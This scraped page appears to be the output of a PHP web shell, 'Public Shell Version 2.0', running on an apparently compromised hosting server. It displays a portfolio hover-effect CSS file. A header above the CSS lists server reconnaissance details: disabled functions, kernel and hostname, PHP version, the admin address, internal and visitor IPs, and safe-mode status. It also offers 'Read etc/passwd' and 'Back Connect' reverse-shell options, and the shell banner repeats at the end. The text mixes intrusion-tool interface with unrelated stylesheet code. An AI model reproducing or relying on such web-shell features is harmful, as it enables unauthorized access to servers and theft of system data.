Disable Functions: system,popen,dl,passthru,proc_open,shell_exec Uname : Linux hlpi1ws-c319s07.ad.aruba.it 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64 PHP Version : 5.3.29 Server Admin : postmaster@www.giancio.com Server IP : 192.168.3.109 Your IP : 18.222.231.86 Safe Mode : Safe Mode is OFF Read etc/passwd : Disabled Functions : PHP INFO
Back Connect
';
Public Shell Version 2.0
/*Portfolio v1
------------------------------------*/
.view {
z-index:9;
cursor: default;
overflow: hidden;
text-align: center;
position: relative;
margin-bottom: 30px;
box-shadow: 0 0 3px #ddd;
}
.view .mask,.view .content {
width: 100%;
height: 100%;
position: absolute;
overflow: hidden;
top: 0;
left: 0;
}
.view img {
display: block;
position: relative;
}
.view h2 {
text-transform: uppercase;
color: #fff;
text-align: center;
position: relative;
font-size: 22px;
padding: 10px;
background: rgba(0, 0, 0, 0.8);
margin: 20px 0 0 0;
text-shadow:none;
}
.view p {
font-family: Georgia, serif;
font-style: italic;
font-size: 12px;
position: relative;
color: #fff;
padding: 10px 20px 10px;
text-align: center;
}
.view a.info {
color: #fff;
background: #000;
padding: 5px 12px;
text-decoration: none;
margin-top:10px;
display: inline-block;
overflow:hidden;
text-transform: uppercase;
}
.view a.info:hover {
background:#72c02c;
}
.portfolio-responsive h2 {
margin-top:0 !important;
}
/*CSS3 Hover Effect*/
.view-tenth img {
left:10px;
margin-left:-10px;
position:relative;
-webkit-transition: all 0.6s ease-in-out;
-moz-transition: all 0.6s ease-in-out;
-o-transition: all 0.6s ease-in-out;
-ms-transition: all 0.6s ease-in-out;
transition: all 0.6s ease-in-out;
}
.view-tenth .mask {
-webkit-transition: all 0.5s linear;
-moz-transition: all 0.5s linear;
-o-transition: all 0.5s linear;
-ms-transition: all 0.5s linear;
transition: all 0.5s linear;
-ms-filter: "progid: DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
}
.view-tenth h2 {
color: #333;
margin: 20px 40px 0;
background: transparent;
border-bottom: 1px solid rgba(0, 0, 0, 0.3);
-webkit-transform: scale(0);
-moz-transform: scale(0);
-o-transform: scale(0);
-ms-transform: scale(0);
transform: scale(0);
-webkit-transition: all 0.5s linear;
-moz-transition: all 0.5s linear;
-o-transition: all 0.5s linear;
-ms-transition: all 0.5s linear;
transition: all 0.5s linear;
-ms-filter: "progid: DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
}
.view-tenth p {
color: #333;
-ms-filter: "progid: DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
-webkit-transform: scale(0);
-moz-transform: scale(0);
-o-transform: scale(0);
-ms-transform: scale(0);
transform: scale(0);
-webkit-transition: all 0.5s linear;
-moz-transition: all 0.5s linear;
-o-transition: all 0.5s linear;
-ms-transition: all 0.5s linear;
transition: all 0.5s linear;
}
.view-tenth a.info {
-ms-filter: "progid: DXImageTransform.Microsoft.Alpha(Opacity=0)";
filter: alpha(opacity=0);
opacity: 0;
-webkit-transform: scale(0);
-moz-transform: scale(0);
-o-transform: scale(0);
-ms-transform: scale(0);
transform: scale(0);
-webkit-transition: all 0.5s linear;
-moz-transition: all 0.5s linear;
-o-transition: all 0.5s linear;
-ms-transition: all 0.5s linear;
transition: all 0.5s linear;
}
.view-tenth:hover img {
-webkit-transform: scale(2) rotate(10deg);
-moz-transform: scale(2) rotate(10deg);
-o-transform: scale(2) rotate(10deg);
-ms-transform: scale(2) rotate(10deg);
transform: scale(2) rotate(10deg);
-ms-filter: "progid: DXImageTransform.Microsoft.Alpha(Opacity=30)";
filter: alpha(opacity=30);
opacity: 0.3;
}
.view-tenth:hover .mask {
-ms-filter: "progid: DXImageTransform.Microsoft.Alpha(Opacity=100)";
filter: alpha(opacity=100);
opacity: 1;
}
.view-tenth:hover h2,.view-tenth:hover p,.view-tenth:hover a.info {
-webkit-transform: scale(1);
-moz-transform: scale(1);
-o-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);
-ms-filter: "progid: DXImageTransform.Microsoft.Alpha(Opacity=100)";
filter: alpha(opacity=100);
opacity: 1;
}
/* Medium devices (desktops, 992px and up) */
@media (min-width: 992px) {
.portfolio-4-columns .mask h2 {
font-size: 20px;
margin-bottom: 0px;
}
.portfolio-4-columns .mask p {
display: none;
}
} Public Shell Version 2.0